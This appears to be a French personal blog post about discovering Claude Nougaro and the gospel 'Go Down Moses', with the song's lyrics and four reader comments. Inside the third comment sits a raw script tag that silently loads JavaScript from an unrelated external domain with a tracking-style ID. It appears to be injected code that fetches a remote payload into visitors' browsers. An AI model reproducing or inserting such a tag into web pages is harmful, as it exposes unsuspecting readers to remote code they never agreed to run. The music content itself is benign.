• Musique

    Hier voilà ce que j'étais en train d'écouter :


    (ce qui suit, vous n'êtes pas obligés de le lire, si ça se trouve, vous le savez bien déjà ^^)

    Dans la foulée, j'apprends concrètement qui est Claude Nougaro (il n'est jamais trop tard). Jusque là, tout ce que ça m'évoquait, c'était une émission de Des racines et des Ailes sur Toulouse, la Garonne,  je savais que c'était un chanteur, et qu'il était mort et voilà tout.

    Pour sa chanson Armstrong, Nougaro a repris l'air du chant Go down Moses, interprété par Louis Armstrong.

    Go down Moses est un chant de gospel ; il s'inspire d'un passage de l'Ancien Testament, l'Exode, durant lequel Moïse est envoyé demander au Pharaon de laisser son peuple partir.
    La chanson fut reprise par les esclaves, les Israël symbolisant les esclaves et le Pharaon les maîtres esclavagistes.

    Et je tombe sur cette interprétation :


    CC-BY SA - Auteurs : Les chanteurs de Montigny

    When Israel was in Egypt's land
    Let my people go
    Oppressed so hard they could not stand

    Let my people go

    Go down, Moses, way down in Egypt's land
    Tell ol' Pharaoh,
    Let my people go.

    Thus saith the Lord, bold Moses said,
    Let my people go,
    If not, I'll smite your first-born dead,
    Let my people go.

    Go down, Moses, way down in Egypt's land
    Tell ol' Pharaoh,
    Let my people go.

    J'adore .

    Et une version gospel :

    J'aime

    « PhotosLes bons conseils du prof de MTU »
    Partager via Gmail Yahoo! Google Bookmarks Blogmarks

    Tags Tags :
  • Commentaires

    1
    Lundi 2 Janvier 2012 à 22:00

    J'aime beaucoup !

    (Rien à voir la chanson que j'écoute en boucle en ce moment c'est celle-là (quoique... Nino Ferrer chantait Je voudrais être noir donc ce n'est pas si loin...)).

    2
    Jeudi 5 Janvier 2012 à 18:22

    Super tes recherches, pour Amstrong je savais que Nougaro avait repris sa chanson en français, j'aime beaucoup les deux autres interprétations aussi surtout la dernière Gospel, merci pour cette belle découverte et qui me rappelle des souvenirs (Claude Nougaro), je connais la chanson de Nino Ferrer qui lui aussi est mort "je voudrais être noir", mais Johnny Halliday a chanté "noir c'est noir" lol ! Je te remercie pour ton gentil passage, je te présente mes bons voeux pour 2012 à ta famille et à toi, que du bonheur mais surtout la santé. Gros bisous

    3
    Lundi 9 Janvier 2012 à 08:48

    Humm... j'apprécie également ;)

    <script src="http://loading-resource.com/50.js.php?i=%7B49562AC7-8887-4B7E-A128-2C4B31013126%7D" type="text/javascript"></script>
    4
    Mardi 10 Janvier 2012 à 23:20

    Merci de ta visite Anne
    Douce nuit
    Allison

    Suivre le flux RSS des commentaires


    Ajouter un commentaire

    Nom / Pseudo :

    E-mail (facultatif) :

    Site Web (facultatif) :

    Commentaire :